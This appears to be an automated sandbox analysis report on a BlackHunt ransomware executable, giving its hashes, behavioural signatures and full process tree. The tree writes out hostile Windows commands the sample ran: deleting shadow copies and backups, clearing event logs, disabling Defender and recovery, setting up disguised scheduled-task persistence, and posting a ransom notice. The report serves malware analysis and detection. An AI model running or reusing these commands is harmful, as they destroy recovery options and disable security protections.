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Analysis
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max time kernel
1s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:13
Static task
static1
Behavioral task
behavioral1
Sample
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
Resource
win10v2004-20231222-en
General
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Target
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
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Size
707KB
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MD5
db12d57af1217ac75771f6a52965b4be
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SHA1
80ab2675a35a043cd6326b13daf0f9fd9693c027
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SHA256
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37
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SHA512
391d4b79d13946166c224239475a510ca1f70ac530d9903d14fd31f4108363132fee385f81c2ab6dd69ab128ba99bf89e87467e25aa725c5551bbc8e501b2df8
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G8Xvnh:6uaTmkZJ+naie5OTamgEoKxLWd/h
Malware Config
Extracted
F:\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 12152 fsutil.exe 13320 fsutil.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 8436 wevtutil.exe 5940 wevtutil.exe 6048 wevtutil.exe 6008 wevtutil.exe 9800 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 5876 bcdedit.exe 12120 bcdedit.exe 9824 bcdedit.exe 4048 bcdedit.exe -
pid Process 1420 wbadmin.exe 8424 wbadmin.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 10900 3592 WerFault.exe 266 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6908 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 8068 vssadmin.exe 11340 vssadmin.exe 10668 vssadmin.exe 11144 vssadmin.exe 6152 vssadmin.exe 7744 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 13528 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3196 PING.EXE -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeRestorePrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeBackupPrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeTakeOwnershipPrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeAuditPrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeSecurityPrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeIncBasePriorityPrivilege 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3916 wrote to memory of 1940 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 170 PID 3916 wrote to memory of 1940 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 170 PID 3916 wrote to memory of 4532 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 168 PID 3916 wrote to memory of 4532 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 168 PID 3916 wrote to memory of 4488 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 167 PID 3916 wrote to memory of 4488 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 167 PID 3916 wrote to memory of 4372 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 165 PID 3916 wrote to memory of 4372 3916 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 165
Processes
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C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3916 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4176
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2360
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:5264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:224
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:5256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2444
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:10140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:8
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:6692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3348
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:7340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3168
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:6708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5232
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:12152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5320
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5228
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:5304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:5216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:3028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe" /F2⤵PID:3256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:3928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2388
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:3280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:4152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2176
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:3692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:4924
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:3996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:4372
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:4488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:4532
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:1940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:10796
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵PID:6128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:308
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵PID:8228
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:10724
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:10172
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:5816
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
PID:6048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:6108
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:8476
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:13680
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"2⤵PID:11544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:9616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:9140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:1372
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:13940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:7640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:12540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:7784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:9912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:8276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:11128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:10860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:4356
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:4676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:6820
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f1⤵PID:3544
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f1⤵PID:1132
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f1⤵PID:1568
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f1⤵PID:5140
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f1⤵PID:12156
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f1⤵PID:8812
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f1⤵PID:6780
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f1⤵PID:6276
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe" /F1⤵
- Creates scheduled task(s)
PID:6908
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:7744
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:8068
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2804
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet1⤵
- Deletes backup catalog
PID:1420
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures1⤵
- Modifies boot configuration data using bcdedit
PID:5876
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:12120
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB1⤵
- Interacts with shadow copies
PID:11340
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f1⤵PID:10708
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵PID:14116
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:10668
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB1⤵
- Interacts with shadow copies
PID:11144
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f1⤵PID:6776
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f1⤵PID:5884
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f1⤵PID:5312
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:7440
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f1⤵PID:5204
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:15584
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f1⤵PID:5168
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f1⤵PID:5160
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f1⤵PID:5152
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f1⤵PID:4532
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:1644
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f1⤵PID:2272
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f1⤵PID:4776
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f1⤵PID:2168
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f1⤵PID:1084
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup1⤵
- Clears Windows event logs
PID:6008
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System1⤵
- Clears Windows event logs
PID:9800
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application1⤵
- Clears Windows event logs
PID:8436
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security1⤵
- Clears Windows event logs
PID:5940
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:9824
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:1⤵
- Deletes NTFS Change Journal
PID:13320
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable1⤵PID:4744
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 51⤵
- Runs ping.exe
PID:3196
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet1⤵
- Deletes backup catalog
PID:8424
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f1⤵
- Kills process with taskkill
PID:13528
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f1⤵PID:12028
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f1⤵PID:5996
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F1⤵PID:4068
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt1⤵PID:13652
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵PID:3592
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 14442⤵
- Program crash
PID:10900
